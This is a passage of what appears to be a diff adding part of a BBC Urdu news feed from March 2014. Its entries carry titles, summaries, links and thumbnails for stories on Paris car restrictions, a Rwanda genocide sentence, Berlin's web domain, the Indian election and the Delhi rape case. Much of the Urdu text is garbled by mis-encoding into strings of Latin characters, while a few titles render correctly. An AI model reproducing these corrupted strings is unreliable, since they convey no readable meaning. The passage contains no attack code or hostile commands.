+ <dc:title>آئی سی سی ورلڈ ٹی ٹوئنٹی 2014</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30769464</id>
+ <dc:identifier>30769464</dc:identifier>
+ <updated>2014-03-16T10:05:31+05:00</updated>
+ <published>2014-03-16T09:16:01+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="world" label="ورلڈ"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">پیرس میں گاڑیوں Ú©Û’ Ø±ÙˆØ²Ø§Ù†Û Ø§Ø³ØªØ¹Ù…Ø§Ù„ پر پابندی</title>
+ <summary xml:lang="ur">Ùرانس Ú©Û’ دارالحکومت پیرس میں آلودگی Ú©Ùˆ Ú©Ù… کرنے Ú©ÛŒ ایک نادر کوشش Ú©Û’ تحت موٹر گاڑیوں Ú©Û’ استعمال پر پابندی لگائی جا رÛÛŒ ÛÛ’Û”</summary>
+ <dc:subject>Ùرانس، پیرس، کار، موٹر گاڑی، آلودگی، پبلک ٹرانسپورٹ، Paris, France, restriction, car use, pollution level, public transport</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/world/2014/03/140316_paris_restricts_car_usage_mb.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/world/2014/03/140316_paris_restricts_car_usage_mb.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316010407_paris_pollution_cars_driving_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316010407_paris_pollution_cars_driving_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316010407_paris_pollution_cars_driving_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316010407_paris_pollution_cars_driving_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/regional/2014/02/140224_china_smog_laser_defence_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/regional/2014/02/140224_china_smog_laser_defence_zs.shtml"/>
+ <dc:title>â€™Ø¢Ù„ÙˆØ¯Û Ø¯Ú¾Ù†Ø¯ لیزر Ú©Û’ خلا٠موثر ترین دÙاع‘</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/24/140224053037_beijing_smog_144x81_reuters_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/24/140224053037_beijing_smog_144x81_reuters_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/24/140224053037_beijing_smog_144x81_reuters_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/24/140224053037_beijing_smog_144x81_reuters_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/01/140116_pictures_smog_china_aw.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/multimedia/2014/01/140116_pictures_smog_china_aw.shtml"/>
+ <dc:title>بیجنگ میں آلودگی کی سطح بڑھ گئی</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/01/16/140116105332_smog_beijing_promo144.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/01/16/140116105332_smog_beijing_promo144.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/01/16/140116105332_smog_beijing_promo144.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/01/16/140116105332_smog_beijing_promo144.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-15:30753858</id>
+ <dc:identifier>30753858</dc:identifier>
+ <updated>2014-03-15T03:48:59+05:00</updated>
+ <published>2014-03-15T03:48:13+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="world" label="ورلڈ"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">روانڈا نسل Ú©Ø´ÛŒ: سابق انٹیلیجنس Ø³Ø±Ø¨Ø±Ø§Û Ú©Ùˆ سزا</title>
+ <summary xml:lang="ur">Ùرانس Ú©ÛŒ ایک عدالت Ù†Û’ روانڈا Ú©Û’ سابق اینٹیلیجنس Ú©Û’ Ø³Ø±Ø¨Ø±Ø§Û Ù¾Ø§Ø³Ú©Ù„ سمبیکنگوا Ú©Ùˆ 1994 Ú©ÛŒ نسل کسی کا مرتکب Ûونے پر 25 سال Ú©ÛŒ قید Ú©ÛŒ سزا سنائی ÛÛ’Û”</summary>
+ <dc:subject>rwanda, genocide, france, case, روانڈا، نسل کشی، Ùرانس</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/world/2014/03/140314_rawanda_genocide_pascal_sentenced_france_rh.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/world/2014/03/140314_rawanda_genocide_pascal_sentenced_france_rh.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/04/140204123038_pascal_simbikangwa_144x81_bbc_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/04/140204123038_pascal_simbikangwa_144x81_bbc_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/04/140204123038_pascal_simbikangwa_144x81_bbc_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/04/140204123038_pascal_simbikangwa_144x81_bbc_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30776661</id>
+ <dc:identifier>30776661</dc:identifier>
+ <updated>2014-03-16T19:10:16+05:00</updated>
+ <published>2014-03-16T19:04:06+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="science" label="سائنس"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">برلن اپنے نام کا ڈومین حاصل کرنے والا Ù¾Ûلا Ø´Ûر</title>
+ <summary xml:lang="ur">جرمنی کا Ø´Ûر برلن میں قائم کمپنیاں اور ÙˆÛاں Ú©Û’ رÛائشی 18 مارچ سے اپنے انٹرنیٹ پتے Ú©Û’ آخر میں ڈاٹ برلن کا Ù„Ø§Ø­Ù‚Û Ø§Ø³ØªØ¹Ù…Ø§Ù„ کر سکیں Ú¯Û’Û”</summary>
+ <dc:subject>برلن، انٹرنیٹ، ڈومین، جرمنی، berlin, internet, domain</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/science/2014/03/140316_berlin_domain_internet_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/science/2014/03/140316_berlin_domain_internet_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316135730_berlin_domain_name_144x81_alamy_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316135730_berlin_domain_name_144x81_alamy_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316135730_berlin_domain_name_144x81_alamy_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316135730_berlin_domain_name_144x81_alamy_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/science/2013/10/131024_new_domains_characters_mb.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/science/2013/10/131024_new_domains_characters_mb.shtml"/>
+ <dc:title>انٹرنیٹ ایڈریس اب عربی، چینی اور روسی زبان میں</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/10/24/131024034607_web_online_domain_144x81__nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/10/24/131024034607_web_online_domain_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/10/24/131024034607_web_online_domain_144x81__nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/10/24/131024034607_web_online_domain_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-14:30733388</id>
+ <dc:identifier>30733388</dc:identifier>
+ <updated>2014-03-14T03:34:35+05:00</updated>
+ <published>2014-03-14T03:34:31+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="science" label="سائنس"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">امریکی حکومت ’انٹرنیٹ Ú©ÛŒ چیمپیئن بنے Ù†Û Ú©Û Ø§Ø³ Ú©Û’ لیے خطرÛ‘</title>
+ <summary xml:lang="ur">سماجی رابطوں Ú©ÛŒ ویب سائٹ Ùیس بک Ú©Û’ بانی مارک زکر برگ کا Ú©Ûنا ÛÛ’ Ú©Û Ø§Ù†ÛÙˆÚº Ù†Û’ امریکی صدر براک اوباما Ú©Ùˆ امریکی ایجنسی Ú©ÛŒ جانب سے ڈیجیٹل جاسوسی پر مایوسی سے Ø¢Ú¯Ø§Û Ú©ÛŒØ§ ÛÛ’Û”</summary>
+ <dc:subject>امریکÛØŒ این ایس اے، انٹرنیٹ، Ùیس بک، مارک زکر برگ، facebook, marc, america, nsa, obama</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/science/2014/03/140313_facebook_marc_zuckerburg_obama_nsa_rh.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/science/2014/03/140313_facebook_marc_zuckerburg_obama_nsa_rh.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/11/21/131121142148_mark_zuckerberg_indocumentados_144x81_bbc_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/11/21/131121142148_mark_zuckerberg_indocumentados_144x81_bbc_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/11/21/131121142148_mark_zuckerberg_indocumentados_144x81_bbc_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/11/21/131121142148_mark_zuckerberg_indocumentados_144x81_bbc_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/science/2013/08/130827_face_book_users_rwa.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/science/2013/08/130827_face_book_users_rwa.shtml"/>
+ <dc:title>Ùیس بک صارÙین Ú©Ùˆ Ù…Ø¹Ø§ÙˆØ¶Û Ø§Ø¯Ø§ کرے Ú¯ÛŒ</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/05/28/130528155931_facebook_logo_144x81_facebook_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/05/28/130528155931_facebook_logo_144x81_facebook_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/05/28/130528155931_facebook_logo_144x81_facebook_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/05/28/130528155931_facebook_logo_144x81_facebook_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30775548</id>
+ <dc:identifier>30775548</dc:identifier>
+ <updated>2014-03-16T17:55:32+05:00</updated>
+ <published>2014-03-16T17:53:59+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="regional" label="آس پاس"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">کیجریوال مودی کے خلا٠الیکشن لڑنے کے لیے تیار</title>
+ <summary xml:lang="ur">عام آدمی پارٹی Ú©Û’ کنوینر اروند کیجریوال Ù†Û’ Ø¨Ú¾Ø§Ø±ØªÛŒÛ Ø¬Ù†ØªØ§ پارٹی Ú©Û’ وزیراعظم Ú©Û’ عÛدے Ú©Û’ امیدوار نریندر مودی Ú©Û’ خلا٠انتخاب Ù„Ú‘Ù†Û’ کا اعلان کیا ÛÛ’Û”</summary>
+ <dc:subject>kejriwal, modi, india, election, varanasi, بنارس، کیجریوال، مودی، الیکشن</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/regional/2014/03/140316_kejriwal_modi_election_varanasi_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/regional/2014/03/140316_kejriwal_modi_election_varanasi_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/01/02/140102170628_arvind_kejriwal_narendra_modi_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/01/02/140102170628_arvind_kejriwal_narendra_modi_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/01/02/140102170628_arvind_kejriwal_narendra_modi_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/01/02/140102170628_arvind_kejriwal_narendra_modi_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/regional/2014/03/140313_modi_tea_party_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/regional/2014/03/140313_modi_tea_party_zs.shtml"/>
+ <dc:title>دÛÙ„ÛŒ میں نریندر مودی Ú©ÛŒ ’ٹی پارٹی‘</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313152620_modi_tea_party_afp_144.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313152620_modi_tea_party_afp_144.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313152620_modi_tea_party_afp_144.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313152620_modi_tea_party_afp_144.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-15:30763145</id>
+ <dc:identifier>30763145</dc:identifier>
+ <updated>2014-03-15T19:43:48+05:00</updated>
+ <published>2014-03-15T19:33:34+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="regional" label="آس پاس"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">دÛÙ„ÛŒ ریپ Ú©Û’ دو مجرموں Ú©ÛŒ سزائے موت ’معطل‘</title>
+ <summary xml:lang="ur">بھارت Ú©ÛŒ عدالت٠عظمیٰ نےنئی دÛÙ„ÛŒ میں Ø·Ø§Ù„Ø¨Û Ø³Û’ اجتماعی جنسی زیادتی Ú©Û’ چار مجرموں میں سے دو Ú©ÛŒ سزائے موت Ú©Ùˆ معطل کر دیا ÛÛ’Û”</summary>
+ <dc:subject>بھارت، دÛلی، دÛÙ„ÛŒ ریپ کیس، india, dehli rape, case, dehli</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/regional/2014/03/140315_delhi_rape_sentence_onhold_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/regional/2014/03/140315_delhi_rape_sentence_onhold_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/01/24/140124155924_indian_supreme_court_144x81_getty_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/01/24/140124155924_indian_supreme_court_144x81_getty_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/01/24/140124155924_indian_supreme_court_144x81_getty_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/01/24/140124155924_indian_supreme_court_144x81_getty_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/regional/2014/03/140313_dehli_rape_convictions_upheld_tim.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/regional/2014/03/140313_dehli_rape_convictions_upheld_tim.shtml"/>
+ <dc:title>دÛÙ„ÛŒ ریپ Ú©Û’ چار مجرموں Ú©ÛŒ سزائے موت برقرار</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313130613_dehli_rapists_144x81_bbc_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313130613_dehli_rapists_144x81_bbc_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313130613_dehli_rapists_144x81_bbc_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313130613_dehli_rapists_144x81_bbc_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-15:30755541</id>
+ <dc:identifier>30755541</dc:identifier>
+ <updated>2014-03-15T09:19:24+05:00</updated>
+ <published>2014-03-15T08:50:05+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="entertainment" label="ÙÙ† Ùنکار"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur"> ’مسٹر پرÙیكشنسٹ‘ عامر خان 49 سال Ú©Û’ ÛÙˆ گئے</title>
+ <summary xml:lang="ur">بالی ÙˆÚˆ میں ’مسٹر پرÙیكشنسٹ‘ Ú©Û’ نام سے معرو٠عامر خان Ú¯Ø°Ø´ØªÛ 25 سال سے Ûندی سینیما پر اپنا نقش چھوڑتے آئے Ûیں۔ ÙˆÛ 14 مارچ Ú©Ùˆ 49 سال Ú©Û’ ÛÙˆ گئے۔</summary>
+ <dc:subject>bollywood, film, cinema, entertainme, aamir khan, tv show, birthday, satyamev jayatent, بالی وڈ، Ûالی وڈ، Ùلم، سینیما، عامر خان، سالگرÛØŒ تنقید، Ù¹ÛŒ ÙˆÛŒ شو، Ø³ØªÛŒÛ Ù…Û’ Ùˆ جیتے،تÙریح</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/entertainment/2014/03/140315_aamir_khan_reply_critics_mb.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/entertainment/2014/03/140315_aamir_khan_reply_critics_mb.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314123048_aamir_khan_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314123048_aamir_khan_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314123048_aamir_khan_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314123048_aamir_khan_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/entertainment/2014/03/140309_aamir_khan_complaint_tk.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/entertainment/2014/03/140309_aamir_khan_complaint_tk.shtml"/>
+ <dc:title>عامر Ú©ÛŒ شکایت’ساکھ خراب Ú©ÛŒ جارÛÛŒ Ûے‘</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/10/02/131002060239_aamir_khan_144x81_satyamevjayate_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/10/02/131002060239_aamir_khan_144x81_satyamevjayate_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/10/02/131002060239_aamir_khan_144x81_satyamevjayate_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/10/02/131002060239_aamir_khan_144x81_satyamevjayate_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/entertainment/2014/02/140228_amir_khan_denies_life_threats_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/entertainment/2014/02/140228_amir_khan_denies_life_threats_zs.shtml"/>
+ <dc:title>میری جان Ú©Ùˆ کوئی Ø®Ø·Ø±Û Ù†Ûیں ÛÛ’:عامر خان</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/19/140219072259_amir_khan_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/19/140219072259_amir_khan_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/19/140219072259_amir_khan_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/19/140219072259_amir_khan_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/entertainment/2014/01/140109_dhoom3_record_500cr_income_mb.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/entertainment/2014/01/140109_dhoom3_record_500cr_income_mb.shtml"/>
+ <dc:title>دھوم تھری نے 500 کروڑ کا نیا معیار قائم کیا</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/12/19/131219130658_dhoom_3_144x81_yashrajfilms_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
